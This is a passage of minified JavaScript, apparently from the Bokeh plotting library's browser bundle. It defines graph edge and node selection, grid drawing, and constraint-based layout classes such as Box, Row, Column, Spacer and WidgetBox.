n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EdgesAndLinkedNodes\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_edges(t,e)},t.prototype.get_linked_nodes=function(e,t,i){var n=[];\\\"selection\\\"==i?n=t.selected.indices:\\\"inspection\\\"==i&&(n=t.inspected.indices);for(var r=[],o=0,s=n;o<s.length;o++){var a=s[o];r.push(t.data.start[a]),r.push(t.data.end[a])}var l=c.uniq(r).map(function(t){return u.indexOf(e.data.index,t)}),h=_.create_empty_hit_test_result();return h.indices=l,h},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.edge_renderer.data_source.selected;r.update(t,i,n);var o=e.node_renderer.data_source.selected,s=this.get_linked_nodes(e.node_renderer.data_source,e.edge_renderer.data_source,\\\"selection\\\");return o.update(s,i,n),e.edge_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.edge_view.model.data_source.selection_manager.get_or_create_inspector(i.edge_view.model);o.update(t,n,r),i.edge_view.model.data_source.setv({inspected:o},{silent:!0});var s=i.node_view.model.data_source.selection_manager.get_or_create_inspector(i.node_view.model),a=this.get_linked_nodes(i.node_view.model.data_source,i.edge_view.model.data_source,\\\"inspection\\\");return s.update(a,n,r),i.node_view.model.data_source.setv({inspected:s},{silent:!0}),i.edge_view.model.data_source.inspect.emit([i.edge_view,{geometry:e}]),!o.is_empty()},t}(o);(i.EdgesAndLinkedNodes=l).initClass()},function(t,e,i){var n=t(391);n.__exportStar(t(147),i),n.__exportStar(t(149),i),n.__exportStar(t(150),i)},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutProvider\\\"},t}(r.Model);(i.LayoutProvider=o).initClass()},function(t,e,i){var n=t(391),r=t(149),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StaticLayoutProvider\\\",this.define({graph_layout:[o.Any,{}]})},t.prototype.get_node_coordinates=function(t){for(var e=[],i=[],n=t.data.index,r=0,o=n.length;r<o;r++){var s=this.graph_layout[n[r]],a=null!=s?s:[NaN,NaN],l=a[0],h=a[1];e.push(l),i.push(h)}return[e,i]},t.prototype.get_edge_coordinates=function(t){for(var e,i,n=[],r=[],o=t.data.start,s=t.data.end,a=null!=t.data.xs&&null!=t.data.ys,l=0,h=o.length;l<h;l++){var u=null!=this.graph_layout[o[l]]&&null!=this.graph_layout[s[l]];if(a&&u)n.push(t.data.xs[l]),r.push(t.data.ys[l]);else{var c=void 0,_=void 0;u?(e=[this.graph_layout[o[l]],this.graph_layout[s[l]]],_=e[0],c=e[1]):(_=(i=[[NaN,NaN],[NaN,NaN]])[0],c=i[1]),n.push([_[0],c[0]]),r.push([_[1],c[1]])}}return[n,r]},t}(r.LayoutProvider);(i.StaticLayoutProvider=s).initClass()},function(t,e,i){var n=t(391),h=t(79),r=t(187),o=t(15),u=t(44),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),Object.defineProperty(t.prototype,\\\"_x_range_name\\\",{get:function(){return this.model.x_range_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"_y_range_name\\\",{get:function(){return this.model.y_range_name},enumerable:!0,configurable:!0}),t.prototype.render=function(){if(this.model.visible){var t=this.plot_view.canvas_view.ctx;t.save(),this._draw_regions(t),this._draw_minor_grids(t),this._draw_grids(t),t.restore()}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.request_render()})},t.prototype._draw_regions=function(t){if(this.visuals.band_fill.doit){var e=this.model.grid_coords(\\\"major\\\",!1),i=e[0],n=e[1];this.visuals.band_fill.set_value(t);for(var r=0;r<i.length-1;r++)if(r%2==1){var o=this.plot_view.map_to_screen(i[r],n[r],this._x_range_name,this._y_range_name),s=o[0],a=o[1],l=this.plot_view.map_to_screen(i[r+1],n[r+1],this._x_range_name,this._y_range_name),h=l[0],u=l[1];t.fillRect(s[0],a[0],h[1]-s[0],u[1]-a[0]),t.fill()}}},t.prototype._draw_grids=function(t){if(this.visuals.grid_line.doit){var e=this.model.grid_coords(\\\"major\\\"),i=e[0],n=e[1];this._draw_grid_helper(t,this.visuals.grid_line,i,n)}},t.prototype._draw_minor_grids=function(t){if(this.visuals.minor_grid_line.doit){var e=this.model.grid_coords(\\\"minor\\\"),i=e[0],n=e[1];this._draw_grid_helper(t,this.visuals.minor_grid_line,i,n)}},t.prototype._draw_grid_helper=function(t,e,i,n){e.set_value(t);for(var r=0;r<i.length;r++){var o=this.plot_view.map_to_screen(i[r],n[r],this._x_range_name,this._y_range_name),s=o[0],a=o[1];t.beginPath(),t.moveTo(Math.round(s[0]),Math.round(a[0]));for(var l=1;l<s.length;l++)t.lineTo(Math.round(s[l]),Math.round(a[l]));t.stroke()}},t}(r.GuideRendererView);i.GridView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Grid\\\",this.prototype.default_view=s,this.mixins([\\\"line:grid_\\\",\\\"line:minor_grid_\\\",\\\"fill:band_\\\"]),this.define({bounds:[o.Any,\\\"auto\\\"],dimension:[o.Number,0],ticker:[o.Instance],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({level:\\\"underlay\\\",band_fill_color:null,band_fill_alpha:0,grid_line_color:\\\"#e5e5e5\\\",minor_grid_line_color:null})},t.prototype.ranges=function(){var t=this.dimension,e=(t+1)%2,i=this.plot.plot_canvas.frame,n=[i.x_ranges[this.x_range_name],i.y_ranges[this.y_range_name]];return[n[t],n[e]]},t.prototype.computed_bounds=function(){var t,e,i,n=this.ranges()[0],r=this.bounds,o=[n.min,n.max];if(u.isArray(r))e=Math.min(r[0],r[1]),i=Math.max(r[0],r[1]),e<o[0]&&(e=o[0]),o[1]<i&&(i=o[1]);else{e=o[0],i=o[1];for(var s=0,a=this.plot.select(h.Axis);s<a.length;s++){var l=a[s];l.dimension==this.dimension&&l.x_range_name==this.x_range_name&&l.y_range_name==this.y_range_name&&(t=l.computed_bounds,e=t[0],i=t[1])}}return[e,i]},t.prototype.grid_coords=function(t,e){var i;void 0===e&&(e=!0);var n=this.dimension,r=(n+1)%2,o=this.ranges(),s=o[0],a=o[1],l=this.computed_bounds(),h=l[0],u=l[1];i=[Math.min(h,u),Math.max(h,u)],h=i[0],u=i[1];var c=this.ticker.get_ticks(h,u,s,a.min,{})[t],_=s.min,p=s.max,d=a.min,f=a.max,v=[[],[]];e||(c[0]!=_&&c.splice(0,0,_),c[c.length-1]!=p&&c.push(p));for(var m=0;m<c.length;m++)if(c[m]!=_&&c[m]!=p||!e){for(var g=[],y=[],b=0;b<2;b++){var x=d+(f-d)/1*b;g.push(c[m]),y.push(x)}v[n].push(g),v[r].push(y)}return v},t}(r.GuideRenderer);(i.Grid=a).initClass()},function(t,e,i){var n=t(151);i.Grid=n.Grid},function(t,e,i){var n=t(391);n.__exportStar(t(66),i),n.__exportStar(t(83),i),n.__exportStar(t(89),i),n.__exportStar(t(93),i),n.__exportStar(t(96),i),n.__exportStar(t(102),i),n.__exportStar(t(108),i),n.__exportStar(t(129),i),n.__exportStar(t(148),i),n.__exportStar(t(152),i),n.__exportStar(t(156),i),n.__exportStar(t(166),i),n.__exportStar(t(274),i),n.__exportStar(t(171),i),n.__exportStar(t(176),i),n.__exportStar(t(182),i),n.__exportStar(t(188),i),n.__exportStar(t(191),i),n.__exportStar(t(195),i),n.__exportStar(t(204),i),n.__exportStar(t(214),i),n.__exportStar(t(224),i),n.__exportStar(t(260),i)},function(t,e,i){var n=t(391),p=t(13),r=t(15),s=t(21),o=t(157),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.children.change,function(){return t.rebuild_child_views()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-grid\\\")},t.prototype.get_height=function(){var t=this.model.get_layoutable_children(),e=t.map(function(t){return t._height.value});return this.model._horizontal?s.max(e):s.sum(e)},t.prototype.get_width=function(){var t=this.model.get_layoutable_children(),e=t.map(function(t){return t._width.value});return this.model._horizontal?s.sum(e):s.max(e)},t}(o.LayoutDOMView);i.BoxView=a;var l=function(_){function w(t){return _.call(this,t)||this}return n.__extends(w,_),w.initClass=function(){this.prototype.type=\\\"Box\\\",this.prototype.default_view=a,this.define({children:[r.Array,[]]}),this.internal({spacing:[r.Number,6]})},w.prototype.initialize=function(){_.prototype.initialize.call(this),this._child_equal_size_width=new p.Variable(this.toString()+\\\".child_equal_size_width\\\"),this._child_equal_size_height=new p.Variable(this.toString()+\\\".child_equal_size_height\\\"),this._box_equal_size_top=new p.Variable(this.toString()+\\\".box_equal_size_top\\\"),this._box_equal_size_bottom=new p.Variable(this.toString()+\\\".box_equal_size_bottom\\\"),this._box_equal_size_left=new p.Variable(this.toString()+\\\".box_equal_size_left\\\"),this._box_equal_size_right=new p.Variable(this.toString()+\\\".box_equal_size_right\\\"),this._box_cell_align_top=new p.Variable(this.toString()+\\\".box_cell_align_top\\\"),this._box_cell_align_bottom=new p.Variable(this.toString()+\\\".box_cell_align_bottom\\\"),this._box_cell_align_left=new p.Variable(this.toString()+\\\".box_cell_align_left\\\"),this._box_cell_align_right=new p.Variable(this.toString()+\\\".box_cell_align_right\\\")},w.prototype.get_layoutable_children=function(){return this.children},w.prototype.get_constrained_variables=function(){return n.__assign({},_.prototype.get_constrained_variables.call(this),{box_equal_size_top:this._box_equal_size_top,box_equal_size_bottom:this._box_equal_size_bottom,box_equal_size_left:this._box_equal_size_left,box_equal_size_right:this._box_equal_size_right,box_cell_align_top:this._box_cell_align_top,box_cell_align_bottom:this._box_cell_align_bottom,box_cell_align_left:this._box_cell_align_left,box_cell_align_right:this._box_cell_align_right})},w.prototype.get_constraints=function(){var i=_.prototype.get_constraints.call(this),t=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];i.push.apply(i,t)},e=this.get_layoutable_children();if(0==e.length)return i;for(var n=0,r=e;n<r.length;n++){var o=r[n],s=o.get_constrained_variables(),a=this._child_rect(s);this._horizontal?null!=s.height&&t(p.EQ(a.height,[-1,this._height])):null!=s.width&&t(p.EQ(a.width,[-1,this._width])),this._horizontal?null!=s.box_equal_size_left&&null!=s.box_equal_size_right&&null!=s.width&&t(p.EQ([-1,s.box_equal_size_left],[-1,s.box_equal_size_right],s.width,this._child_equal_size_width)):null!=s.box_equal_size_top&&null!=s.box_equal_size_bottom&&null!=s.height&&t(p.EQ([-1,s.box_equal_size_top],[-1,s.box_equal_size_bottom],s.height,this._child_equal_size_height))}var l=this._info(e[0].get_constrained_variables());t(p.EQ(l.span.start,0));for(var h=1;h<e.length;h++){var u=this._info(e[h].get_constrained_variables());l.span.size&&t(p.EQ(l.span.start,l.span.size,[-1,u.span.start])),t(p.WEAK_EQ(l.whitespace.after,u.whitespace.before,0-this.spacing)),t(p.GE(l.whitespace.after,u.whitespace.before,0-this.spacing)),l=u}var c=e[e.length-1].get_constrained_variables();return this._horizontal?null!=c.width&&t(p.EQ(l.span.start,l.span.size,[-1,this._width])):null!=c.height&&t(p.EQ(l.span.start,l.span.size,[-1,this._height])),i=i.concat(this._align_outer_edges_constraints(!0),this._align_outer_edges_constraints(!1),this._align_inner_cell_edges_constraints(),this._box_equal_size_bounds(!0),this._box_equal_size_bounds(!1),this._box_cell_align_bounds(!0),this._box_cell_align_bounds(!1),this._box_whitespace(!0),this._box_whitespace(!1))},w.prototype._child_rect=function(t){return{x:t.origin_x,y:t.origin_y,width:t.width,height:t.height}},w.prototype._span=function(t){return this._horizontal?{start:t.x,size:t.width}:{start:t.y,size:t.height}},w.prototype._info=function(t){var e;e=this._horizontal?{before:t.whitespace_left,after:t.whitespace_right}:{before:t.whitespace_top,after:t.whitespace_bottom};var i=this._span(this._child_rect(t));return{span:i,whitespace:e}},w.prototype._flatten_cell_edge_variables=function(t){var e;e=t?w._top_bottom_inner_cell_edge_variables:w._left_right_inner_cell_edge_variables;for(var i=t!=this._horizontal,n=this.get_layoutable_children(),r=n.length,o={},s=0,a=0,l=n;a<l.length;a++){var h=l[a],u=void 0;u=h instanceof w?h._flatten_cell_edge_variables(t):{};for(var c=h.get_constrained_variables(),_=0,p=e;_<p.length;_++){var d=p[_];d in c&&(u[d]=[c[d]])}for(var f in u){var v=u[f],m=void 0;if(i){var g=f.split(\\\" \\\"),y=g[0],b=1<g.length?g[1]:\\\"\\\",x=this._horizontal?\\\"row\\\":\\\"col\\\";m=y+\\\" \\\"+x+\\\"-\\\"+r+\\\"-\\\"+s+\\\"-\\\"+b}else m=f;o[m]=m in o?o[m].concat(v):v}s++}return o},w.prototype._align_inner_cell_edges_constraints=function(){var t=[];if(null!=this.document&&s.includes(this.document.roots(),this)){var e=this._flatten_cell_edge_variables(this._horizontal);for(var i in e){var n=e[i];if(1<n.length)for(var r=n[0],o=1;o<n.length;o++)t.push(p.EQ(n[o],[-1,r]))}}return t},w.prototype._find_edge_leaves=function(t){var e=this.get_layoutable_children(),i=[[],[]];if(0<e.length)if(this._horizontal==t){var n=e[0],r=e[e.length-1];n instanceof w?i[0]=i[0].concat(n._find_edge_leaves(t)[0]):i[0].push(n),r instanceof w?i[1]=i[1].concat(r._find_edge_leaves(t)[1]):i[1].push(r)}else for(var o=0,s=e;o<s.length;o++){var a=s[o];if(a instanceof w){var l=a._find_edge_leaves(t);i[0]=i[0].concat(l[0]),i[1]=i[1].concat(l[1])}else i[0].push(a),i[1].push(a)}return i},w.prototype._align_outer_edges_constraints=function(t){var e,i,n=this._find_edge_leaves(t),r=n[0],o=n[1];t?(e=\\\"on_edge_align_left\\\",i=\\\"on_edge_align_right\\\"):(e=\\\"on_edge_align_top\\\",i=\\\"on_edge_align_bottom\\\");var s=function(t,e){for(var i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o.get_constrained_variables();e in s&&i.push(s[e])}return i},a=s(r,e),l=s(o,i),h=[],u=function(t){if(1<t.length)for(var e=t[0],i=1;i<t.length;i++){var n=t[i];h.push(p.EQ([-1,e],n))}};return u(a),u(l),h},w.prototype._box_insets_from_child_insets=function(t,e,i,a){var n,r,o,s,l=this._find_edge_leaves(t),h=l[0],u=l[1];t?(n=e+\\\"_left\\\",r=e+\\\"_right\\\",o=this[i+\\\"_left\\\"],s=this[i+\\\"_right\\\"]):(n=e+\\\"_top\\\",r=e+\\\"_bottom\\\",o=this[i+\\\"_top\\\"],s=this[i+\\\"_bottom\\\"]);var c=[],_=function(t,e,i){for(var n=0,r=e;n<r.length;n++){var o=r[n],s=o.get_constrained_variables();i in s&&(a?c.push(p.GE([-1,t],s[i])):c.push(p.EQ([-1,t],s[i])))}};return _(o,h,n),_(s,u,r),c},w.prototype._box_equal_size_bounds=function(t){return this._box_insets_from_child_insets(t,\\\"box_equal_size\\\",\\\"_box_equal_size\\\",!1)},w.prototype._box_cell_align_bounds=function(t){return this._box_insets_from_child_insets(t,\\\"box_cell_align\\\",\\\"_box_cell_align\\\",!1)},w.prototype._box_whitespace=function(t){return this._box_insets_from_child_insets(t,\\\"whitespace\\\",\\\"_whitespace\\\",!0)},w._left_right_inner_cell_edge_variables=[\\\"box_cell_align_left\\\",\\\"box_cell_align_right\\\"],w._top_bottom_inner_cell_edge_variables=[\\\"box_cell_align_top\\\",\\\"box_cell_align_bottom\\\"],w}(o.LayoutDOM);(i.Box=l).initClass()},function(t,e,i){var n=t(391),r=t(154),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-grid-column\\\")},e}(r.BoxView);i.ColumnView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e._horizontal=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Column\\\",this.prototype.default_view=o},t}(r.Box);(i.Column=s).initClass()},function(t,e,i){var n=t(154);i.Box=n.Box;var r=t(155);i.Column=r.Column;var o=t(157);i.LayoutDOM=o.LayoutDOM;var s=t(158);i.Row=s.Row;var a=t(159);i.Spacer=a.Spacer;var l=t(160);i.WidgetBox=l.WidgetBox},function(t,e,i){var n=t(391),r=t(59),g=t(5),o=t(15),s=t(11),h=t(13),a=t(4),l=t(6),u=function(i){function t(){var t=null!==i&&i.apply(this,arguments)||this;return t._solver_inited=!1,t._idle_notified=!1,t}return n.__extends(t,i),t.prototype.initialize=function(t){i.prototype.initialize.call(this,t),this.is_root&&(this._solver=new h.Solver),this.child_views={},this.build_child_views()},t.prototype.remove=function(){for(var t in this.child_views){var e=this.child_views[t];e.remove()}this.child_views={},i.prototype.remove.call(this)},t.prototype.has_finished=function(){if(!i.prototype.has_finished.call(this))return!1;for(var t in this.child_views){var e=this.child_views[t];if(!e.has_finished())return!1}return!0},t.prototype.notify_finished=function(){this.is_root?!this._idle_notified&&this.has_finished()&&null!=this.model.document&&(this._idle_notified=!0,this.model.document.notify_idle(this.model)):i.prototype.notify_finished.call(this)},t.prototype._calc_width_height=function(){for(var t=this.el;t=t.parentElement;)if(!t.classList.contains(\\\"bk-root\\\")){if(t==document.body){var e=g.margin(document.body),i=e.left,n=e.right,r=e.top,o=e.bottom,s=document.documentElement.clientWidth-i-n,a=document.documentElement.clientHeight-r-o;return[s,a]}var l=g.padding(t),h=l.left,u=l.right,c=l.top,_=l.bottom,p=t.getBoundingClientRect(),d=p.width,f=p.height,v=d-h-u,m=f-c-_;switch(this.model.sizing_mode){case\\\"scale_width\\\":if(0<v)return[v,0<m?m:null];break;case\\\"scale_height\\\":if(0<m)return[0<v?v:null,m];break;case\\\"scale_both\\\":case\\\"stretch_both\\\":if(0<v||0<m)return[0<v?v:null,0<m?m:null];break;default:throw new Error(\\\"unreachable\\\")}}return[null,null]},t.prototype._init_solver=function(){this._root_width=new h.Variable(this.toString()+\\\".root_width\\\"),this._root_height=new h.Variable(this.toString()+\\\".root_height\\\"),this._solver.add_edit_variable(this._root_width,NaN),this._solver.add_edit_variable(this._root_height,NaN);for(var t=this.model.get_all_editables(),e=0,i=t;e<i.length;e++){var n=i[e];this._solver.add_edit_variable(n,h.Strength.strong)}for(var r=this.model.get_all_constraints(),o=0,s=r;o<s.length;o++){var a=s[o];this._solver.add_constraint(a)}var l=this.model.get_constrained_variables();null!=l.width&&this._solver.add_constraint(h.EQ(l.width,this._root_width)),null!=l.height&&this._solver.add_constraint(h.EQ(l.height,this._root_height)),this._solver.update_variables(),this._solver_inited=!0},t.prototype._suggest_dims=function(t,e){var i,n=this.model.get_constrained_variables();null==n.width&&null==n.height||(null!=t&&null!=e||(i=this._calc_width_height(),t=i[0],e=i[1]),null!=n.width&&null!=t&&this._solver.suggest_value(this._root_width,t),null!=n.height&&null!=e&&this._solver.suggest_value(this._root_height,e),this._solver.update_variables())},t.prototype.resize=function(t,e){void 0===t&&(t=null),void 0===e&&(e=null),this.is_root?this._do_layout(!1,t,e):this.root.resize(t,e)},t.prototype.partial_layout=function(){this.is_root?this._do_layout(!1):this.root.partial_layout()},t.prototype.layout=function(){this.is_root?this._do_layout(!0):this.root.layout()},t.prototype._do_layout=function(t,e,i){void 0===e&&(e=null),void 0===i&&(i=null),this._solver_inited&&!t||(this._solver.clear(),this._init_solver()),this._suggest_dims(e,i),this._layout(),this._layout(),this._layout(!0),this.notify_finished()},t.prototype._layout=function(t){void 0===t&&(t=!1);for(var e=0,i=this.model.get_layoutable_children();e<i.length;e++){var n=i[e],r=this.child_views[n.id];null!=r._layout&&r._layout(t)}this.render(),t&&(this._has_finished=!0)},t.prototype.rebuild_child_views=function(){this.solver.clear(),this.build_child_views(),this.layout()},t.prototype.build_child_views=function(){var t=this.model.get_layoutable_children();a.build_views(this.child_views,t,{parent:this}),g.empty(this.el);for(var e=0,i=t;e<i.length;e++){var n=i[e],r=this.child_views[n.id];this.el.appendChild(r.el)}},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.is_root&&window.addEventListener(\\\"resize\\\",this),this.connect(this.model.properties.sizing_mode.change,function(){return t.layout()})},t.prototype.handleEvent=function(){this.resize()},t.prototype.disconnect_signals=function(){window.removeEventListener(\\\"resize\\\",this),i.prototype.disconnect_signals.call(this)},t.prototype._render_classes=function(){this.el.className=\\\"\\\";for(var t=0,e=this.css_classes();t<e.length;t++){var i=e[t];this.el.classList.add(i)}this.el.classList.add(\\\"bk-layout-\\\"+this.model.sizing_mode);for(var n=0,r=this.model.css_classes;n<r.length;n++){var o=r[n];this.el.classList.add(o)}},t.prototype.render=function(){switch(this._render_classes(),this.model.sizing_mode){case\\\"fixed\\\":var t=void 0;t=null!=this.model.width?this.model.width:this.get_width(),this.model.setv({width:t},{silent:!0});var e=void 0;e=null!=this.model.height?this.model.height:this.get_height(),this.model.setv({height:e},{silent:!0}),this.solver.suggest_value(this.model._width,t),this.solver.suggest_value(this.model._height,e);break;case\\\"scale_width\\\":var e=this.get_height();this.solver.suggest_value(this.model._height,e);break;case\\\"scale_height\\\":var t=this.get_width();this.solver.suggest_value(this.model._width,t);break;case\\\"scale_both\\\":var i=this.get_width_height(),t=i[0],e=i[1];this.solver.suggest_value(this.model._width,t),this.solver.suggest_value(this.model._height,e)}this.solver.update_variables(),this.position()},t.prototype.position=function(){switch(this.model.sizing_mode){case\\\"fixed\\\":case\\\"scale_width\\\":case\\\"scale_height\\\":this.el.style.position=\\\"relative\\\",this.el.style.left=\\\"\\\",this.el.style.top=\\\"\\\";break;case\\\"scale_both\\\":case\\\"stretch_both\\\":this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\"}this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\"},t.prototype.get_width_height=function(){var t=this._calc_width_height(),e=t[0],i=t[1];if(null==e&&null==i)throw new Error(\\\"detached element\\\");var n=this.model.get_aspect_ratio();if(null!=e&&null==i)return[e,e/n];if(null==e&&null!=i)return[i*n,i];var r,o,s=e,a=e/n,l=i*n,h=i;return s<l?(r=s,o=a):(r=l,o=h),[r,o]},t}(l.DOMView);i.LayoutDOMView=u;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutDOM\\\",this.define({height:[o.Number],width:[o.Number],disabled:[o.Bool,!1],sizing_mode:[o.SizingMode,\\\"fixed\\\"],css_classes:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._width=new h.Variable(this.toString()+\\\".width\\\"),this._height=new h.Variable(this.toString()+\\\".height\\\"),this._left=new h.Variable(this.toString()+\\\".left\\\"),this._right=new h.Variable(this.toString()+\\\".right\\\"),this._top=new h.Variable(this.toString()+\\\".top\\\"),this._bottom=new h.Variable(this.toString()+\\\".bottom\\\"),this._dom_top=new h.Variable(this.toString()+\\\".dom_top\\\"),this._dom_left=new h.Variable(this.toString()+\\\".dom_left\\\"),this._width_minus_right=new h.Variable(this.toString()+\\\".width_minus_right\\\"),this._height_minus_bottom=new h.Variable(this.toString()+\\\".height_minus_bottom\\\"),this._whitespace_top=new h.Variable(this.toString()+\\\".whitespace_top\\\"),this._whitespace_bottom=new h.Variable(this.toString()+\\\".whitespace_bottom\\\"),this._whitespace_left=new h.Variable(this.toString()+\\\".whitespace_left\\\"),this._whitespace_right=new h.Variable(this.toString()+\\\".whitespace_right\\\")},Object.defineProperty(t.prototype,\\\"layout_bbox\\\",{get:function(){return{top:this._top.value,left:this._left.value,width:this._width.value,height:this._height.value,right:this._right.value,bottom:this._bottom.value,dom_top:this._dom_top.value,dom_left:this._dom_left.value}},enumerable:!0,configurable:!0}),t.prototype.dump_layout=function(){for(var t,e={},i=[this];t=i.shift();)i.push.apply(i,t.get_layoutable_children()),e[t.toString()]=t.layout_bbox;console.table(e)},t.prototype.get_all_constraints=function(){for(var t=this.get_constraints(),e=0,i=this.get_layoutable_children();e<i.length;e++){var n=i[e];t=n instanceof s.LayoutCanvas?t.concat(n.get_constraints()):t.concat(n.get_all_constraints())}return t},t.prototype.get_all_editables=function(){for(var t=this.get_editables(),e=0,i=this.get_layoutable_children();e<i.length;e++){var n=i[e];t=n instanceof s.LayoutCanvas?t.concat(n.get_editables()):t.concat(n.get_all_editables())}return t},t.prototype.get_constraints=function(){return[h.GE(this._dom_left),h.GE(this._dom_top),h.GE(this._left),h.GE(this._width,[-1,this._right]),h.GE(this._top),h.GE(this._height,[-1,this._bottom]),h.EQ(this._width_minus_right,[-1,this._width],this._right),h.EQ(this._height_minus_bottom,[-1,this._height],this._bottom)]},t.prototype.get_layoutable_children=function(){return[]},t.prototype.get_editables=function(){switch(this.sizing_mode){case\\\"fixed\\\":return[this._height,this._width];case\\\"scale_width\\\":return[this._height];case\\\"scale_height\\\":return[this._width];case\\\"scale_both\\\":return[this._width,this._height];default:return[]}},t.prototype.get_constrained_variables=function(){var t={origin_x:this._dom_left,origin_y:this._dom_top,whitespace_top:this._whitespace_top,whitespace_bottom:this._whitespace_bottom,whitespace_left:this._whitespace_left,whitespace_right:this._whitespace_right};switch(this.sizing_mode){case\\\"stretch_both\\\":t.width=this._width,t.height=this._height;break;case\\\"scale_width\\\":t.width=this._width;break;case\\\"scale_height\\\":t.height=this._height}return t},t.prototype.get_aspect_ratio=function(){return this.width/this.height},t}(r.Model);(i.LayoutDOM=c).initClass()},function(t,e,i){var n=t(391),r=t(154),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-grid-row\\\")},e}(r.BoxView);i.RowView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e._horizontal=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Row\\\",this.prototype.default_view=o},t}(r.Box);(i.Row=s).initClass()},function(t,e,i){var n=t(391),r=t(157),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),\\\"fixed\\\"==this.model.sizing_mode&&(this.el.style.width=this.model.width+\\\"px\\\",this.el.style.height=this.model.height+\\\"px\\\")},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-spacer-box\\\")},e.prototype.get_width=function(){return 1},e.prototype.get_height=function(){return 1},e}(r.LayoutDOMView);i.SpacerView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Spacer\\\",this.prototype.default_view=o},t.prototype.get_constrained_variables=function(){return n.__assign({},e.prototype.get_constrained_variables.call(this),{on_edge_align_top:this._top,on_edge_align_bottom:this._height_minus_bottom,on_edge_align_left:this._left,on_edge_align_right:this._width_minus_right,box_cell_align_top:this._top,box_cell_align_bottom:this._height_minus_bottom,box_cell_align_left:this._left,box_cell_align_right:this._width_minus_right,box_equal_size_top:this._top,box_equal_size_bottom:this._height_minus_bottom,box_equal_size_left:this._left,box_equal_size_right:this._width_minus_right})},t}(r.LayoutDOM);(i.Spacer=s).initClass()},function(t,e,i){var n=t(391),r=t(14),o=t(15),s=t(157),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.children.change,function(){return t.rebuild_child_views()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-widget-box\\\")},t.prototype.render=function(){if(this._render_classes(),\\\"fixed\\\"==this.model.sizing_mode||\\\"scale_height\\\"==this.model.sizing_mode){var t=this.get_width();this.model._width.value!=t&&this.solver.suggest_value(this.model._width,t)}if(\\\"fixed\\\"==this.model.sizing_mode||\\\"scale_width\\\"==this.model.sizing_mode){var e=this.get_height();this.model._height.value!=e&&this.solver.suggest_value(this.model._height,e)}if(this.solver.update_variables(),\\\"stretch_both\\\"==this.model.sizing_mode)this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\",this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\";else{var i=void 0;i=0<this.model._width.value-20?this.model._width.value-20+\\\"px\\\":\\\"100%\\\",this.el.style.width=i}},t.prototype.get_height=function(){var t=0;for(var e in this.child_views){var i=this.child_views[e],n=i.el,r=getComputedStyle(n),o=parseInt(r.marginTop)||0,s=parseInt(r.marginBottom)||0;t+=n.offsetHeight+o+s}return t+20},t.prototype.get_width=function(){if(null!=this.model.width)return this.model.width;var t=this.el.scrollWidth+20;for(var e in this.child_views){var i=this.child_views[e],n=i.el.scrollWidth;t<n&&(t=n)}return t},t}(s.LayoutDOMView);i.WidgetBoxView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"WidgetBox\\\",this.prototype.default_view=a,this.define({children:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),\\\"fixed\\\"==this.sizing_mode&&null==this.width&&(this.width=300,r.logger.info(\\\"WidgetBox mode is fixed, but no width specified. Using default of 300.\\\"))},t.prototype.get_constrained_variables=function(){var 